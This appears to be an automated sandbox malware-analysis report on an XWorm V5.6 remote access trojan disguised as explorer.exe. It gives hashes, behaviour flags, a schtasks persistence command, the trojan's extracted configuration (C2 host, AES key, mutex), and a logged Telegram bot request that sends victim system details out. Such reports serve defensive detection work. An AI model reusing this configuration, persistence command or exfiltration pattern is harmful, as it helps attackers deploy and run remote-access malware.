File name:

explorer.exe

Full analysis: https://app.any.run/tasks/782b6a7e-c8a9-446d-a890-929a7a50ff89
Verdict: Malicious activity
Threats:

XWorm is a remote access trojan (RAT) sold as a malware-as-a-service. It possesses an extensive hacking toolset and is capable of gathering private information and files from the infected computer, hijacking MetaMask and Telegram accounts, and tracking user activity. XWorm is typically delivered to victims' computers through multi-stage attacks that start with phishing emails.

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Analysis date: October 26, 2024, 15:05:02
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
evasion
telegram
xworm
crypto-regex
remote
Indicators:
MIME: application/vnd.microsoft.portable-executable
File info: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections
MD5:

3E92A515098CAF4967806178C4736B1F

SHA1:

1001F412C6056FD4984D4D6BA3316011F21DE2FB

SHA256:

8BC4584A004FC5D9EE501A4DC9579111D8649B63C68445C74E48A6D3CFC58BE0

SSDEEP:

1536:FsSucOD5mMGPrSsh0v7sb+3yCQIq6AX4bOMGjj3/URT6t6i:FsbtGjMIb+36IUXkOMm4sN

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  • MALICIOUS

    • Changes the autorun value in the registry

      • explorer.exe (PID: 5328)

    • Uses Task Scheduler to run other applications

      • explorer.exe (PID: 5328)

    • Create files in the Startup directory

      • explorer.exe (PID: 5328)

    • XWORM has been detected (YARA)

      • explorer.exe (PID: 5328)

    • XWORM has been detected (SURICATA)

      • explorer.exe (PID: 5328)

  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • explorer.exe (PID: 5328)

    • Reads security settings of Internet Explorer

      • explorer.exe (PID: 5328)

    • The process creates files with name similar to system file names

      • explorer.exe (PID: 5328)

    • Reads the date of Windows installation

      • explorer.exe (PID: 5328)

    • Checks for external IP

      • svchost.exe (PID: 2172)
      • explorer.exe (PID: 5328)

    • Found regular expressions for crypto-addresses (YARA)

      • explorer.exe (PID: 5328)

    • Connects to unusual port

      • explorer.exe (PID: 5328)

    • Process communicates with Telegram (possibly using it as an attacker's C2 server)

      • explorer.exe (PID: 5328)

    • Contacting a server suspected of hosting an CnC

      • explorer.exe (PID: 5328)

    • The process executes via Task Scheduler

      • explorer.exe (PID: 1084)
      • explorer.exe (PID: 2652)

  • INFO

    • Reads the computer name

      • explorer.exe (PID: 5328)
      • explorer.exe (PID: 1084)
      • explorer.exe (PID: 2652)

    • Checks supported languages

      • explorer.exe (PID: 5328)
      • explorer.exe (PID: 1084)
      • explorer.exe (PID: 2652)

    • Disables trace logs

      • explorer.exe (PID: 5328)

    • Reads the machine GUID from the registry

      • explorer.exe (PID: 5328)
      • explorer.exe (PID: 1084)
      • explorer.exe (PID: 2652)

    • Checks proxy server information

      • explorer.exe (PID: 5328)

    • Reads Environment values

      • explorer.exe (PID: 5328)

    • Process checks computer location settings

      • explorer.exe (PID: 5328)

    • The process uses the downloaded file

      • explorer.exe (PID: 5328)

    • Creates files or folders in the user directory

      • explorer.exe (PID: 5328)

    • Reads the software policy settings

      • explorer.exe (PID: 5328)

    • Attempting to use instant messaging service

      • explorer.exe (PID: 5328)
      • svchost.exe (PID: 2172)
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XWorm

(PID) Process(5328) explorer.exe
C2pakoxff.zapto.org:1177
Keys
AES<123456789>
Options
Splitter<Xwormmm>
Sleep time3
USB drop nameXWorm V5.6
MutexdQfIKFsU2sOmGVBG
No Malware configuration.

TRiD

.exe | Generic CIL Executable (.NET, Mono, etc.) (56.7)
.exe | Win64 Executable (generic) (21.3)
.scr | Windows screen saver (10.1)
.dll | Win32 Dynamic Link Library (generic) (5)
.exe | Win32 Executable (generic) (3.4)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2024:10:25 21:27:59+00:00
ImageFileCharacteristics: Executable, 32-bit
PEType: PE32
LinkerVersion: 11
CodeSize: 89600
InitializedDataSize: 13824
UninitializedDataSize: -
EntryPoint: 0x17c4e
OSVersion: 4
ImageVersion: -
SubsystemVersion: 4
Subsystem: Windows GUI
FileVersionNumber: 1.0.0.0
ProductVersionNumber: 1.0.0.0
FileFlagsMask: 0x003f
FileFlags: (none)
FileOS: Win32
ObjectFileType: Executable application
FileSubtype: -
LanguageCode: Neutral
CharacterSet: Unicode
FileDescription:
FileVersion: 1.0.0.0
InternalName: explorer.exe
LegalCopyright:
OriginalFileName: explorer.exe
ProductVersion: 1.0.0.0
AssemblyVersion: 1.0.0.0
No data.
screenshot
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Total processes
127
Monitored processes
6
Malicious processes
1
Suspicious processes
0

Behavior graph

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start THREAT explorer.exe svchost.exe schtasks.exe no specs conhost.exe no specs explorer.exe no specs explorer.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
1084"C:\Users\admin\explorer.exe"C:\Users\admin\explorer.exe—svchost.exe
User:
admin
Integrity Level:
MEDIUM
Description:
Exit code:
0
Version:
1.0.0.0
Modules
Images
c:\users\admin\explorer.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
2172C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s DnscacheC:\Windows\System32\svchost.exe
services.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll
2652"C:\Users\admin\explorer.exe"C:\Users\admin\explorer.exe—svchost.exe
User:
admin
Integrity Level:
MEDIUM
Description:
Exit code:
0
Version:
1.0.0.0
Modules
Images
c:\users\admin\explorer.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
5328"C:\Users\admin\Desktop\explorer.exe" C:\Users\admin\Desktop\explorer.exe
explorer.exe
User:
admin
Integrity Level:
MEDIUM
Description:
Version:
1.0.0.0
Modules
Images
c:\users\admin\desktop\explorer.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
XWorm
(PID) Process(5328) explorer.exe
C2pakoxff.zapto.org:1177
Keys
AES<123456789>
Options
Splitter<Xwormmm>
Sleep time3
USB drop nameXWorm V5.6
MutexdQfIKFsU2sOmGVBG
6000"C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "explorer" /tr "C:\Users\admin\explorer.exe"C:\Windows\System32\schtasks.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Task Scheduler Configuration Tool
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
6180\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—schtasks.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
Total events
5 100
Read events
5 085
Write events
15
Delete events
0

Modification events

(PID) Process:(5328) explorer.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\explorer_RASAPI32
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(5328) explorer.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\explorer_RASAPI32
Operation:writeName:EnableAutoFileTracing
Value:
0
(PID) Process:(5328) explorer.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\explorer_RASAPI32
Operation:writeName:EnableConsoleTracing
Value:
0
(PID) Process:(5328) explorer.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\explorer_RASAPI32
Operation:writeName:FileTracingMask
Value:
(PID) Process:(5328) explorer.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\explorer_RASAPI32
Operation:writeName:ConsoleTracingMask
Value:
(PID) Process:(5328) explorer.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\explorer_RASAPI32
Operation:writeName:MaxFileSize
Value:
1048576
(PID) Process:(5328) explorer.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\explorer_RASAPI32
Operation:writeName:FileDirectory
Value:
%windir%\tracing
(PID) Process:(5328) explorer.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\explorer_RASMANCS
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(5328) explorer.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\explorer_RASMANCS
Operation:writeName:EnableAutoFileTracing
Value:
0
(PID) Process:(5328) explorer.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\explorer_RASMANCS
Operation:writeName:EnableConsoleTracing
Value:
0
Executable files
1
Suspicious files
1
Text files
0
Unknown types
0

Dropped files

PID
Process
Filename
Type
5328explorer.exeC:\Users\admin\explorer.exeexecutable
MD5:3E92A515098CAF4967806178C4736B1F
SHA256:8BC4584A004FC5D9EE501A4DC9579111D8649B63C68445C74E48A6D3CFC58BE0
5328explorer.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\explorer.lnklnk
MD5:A02E5B6B12E32B6EA90FF0BB735024C6
SHA256:E19D56A7FEB5E1FA4940446C7431C2150F1E76CF9F36CF35EB56B51157EA022A
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HTTP(S) requests
9
TCP/UDP connections
26
DNS requests
10
Threats
12

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
6944
svchost.exe
GET
200
23.48.23.143:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
5488
MoUsoCoreWorker.exe
GET
200
23.48.23.143:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
2444
RUXIMICS.exe
GET
200
23.48.23.143:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
5488
MoUsoCoreWorker.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
6944
svchost.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
2444
RUXIMICS.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
5328
explorer.exe
GET
200
208.95.112.1:80
http://ip-api.com/line/?fields=hosting
unknown
—
—
shared
—
—
GET
404
149.154.167.99:443
https://api.telegram.org/botYour_Token/sendMessage?chat_id=Your_ID&text=%E2%98%A0%20%5BXWorm%20V5.6%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0A3C54740F7CC0F23B53E5%0D%0A%0D%0AUserName%20:%20admin%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro%0D%0AUSB%20:%20False%0D%0ACPU%20:%20Intel%20%20i5-6400%20%20@%202.70GHz%0D%0AGPU%20:%20Microsoft%20Basic%20Display%20Adapter%20%0D%0ARAM%20:%203.99%20GB%0D%0AGroub%20:%20XWorm%20V5.6
unknown
binary
55 b
whitelisted
—
—
POST
204
104.126.37.171:443
https://www.bing.com/threshold/xls.aspx
unknown
—
—
whitelisted
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Connections

PID
Process
IP
Domain
ASN
CN
Reputation
6944
svchost.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
5488
MoUsoCoreWorker.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
2444
RUXIMICS.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
6944
svchost.exe
23.48.23.143:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
5488
MoUsoCoreWorker.exe
23.48.23.143:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
2444
RUXIMICS.exe
23.48.23.143:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
6944
svchost.exe
184.30.21.171:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
5488
MoUsoCoreWorker.exe
184.30.21.171:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 51.104.136.2
whitelisted
google.com
  • 216.58.206.46
whitelisted
crl.microsoft.com
  • 23.48.23.143
  • 23.48.23.156
whitelisted
www.microsoft.com
  • 184.30.21.171
whitelisted
ip-api.com
  • 208.95.112.1
shared
api.telegram.org
  • 149.154.167.220
malicious
www.bing.com
  • 104.126.37.123
  • 104.126.37.185
  • 104.126.37.130
  • 104.126.37.170
  • 104.126.37.162
  • 104.126.37.153
  • 104.126.37.154
  • 104.126.37.178
  • 104.126.37.171
whitelisted
pakoxff.zapto.org
  • 105.156.169.35
unknown
self.events.data.microsoft.com
  • 20.50.201.200
whitelisted

Threats

PID
Process
Class
Message
2172
svchost.exe
Device Retrieving External IP Address Detected
INFO [ANY.RUN] External IP Check (ip-api .com)
2172
svchost.exe
Device Retrieving External IP Address Detected
ET INFO External IP Lookup Domain in DNS Lookup (ip-api .com)
5328
explorer.exe
Device Retrieving External IP Address Detected
POLICY [ANY.RUN] External Hosting Lookup by ip-api
5328
explorer.exe
Device Retrieving External IP Address Detected
ET POLICY External IP Lookup ip-api.com
2172
svchost.exe
Misc activity
SUSPICIOUS [ANY.RUN] Possible sending an external IP address to Telegram
2172
svchost.exe
Misc activity
ET HUNTING Telegram API Domain in DNS Lookup
5328
explorer.exe
Misc activity
ET HUNTING Telegram API Certificate Observed
5328
explorer.exe
Misc activity
ET HUNTING Observed Telegram API Domain (api .telegram .org in TLS SNI)
—
—
Misc activity
ET HUNTING Telegram API Request (GET)
2172
svchost.exe
Potentially Bad Traffic
ET POLICY DNS Query to DynDNS Domain *.zapto .org
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Reports
explorer.exe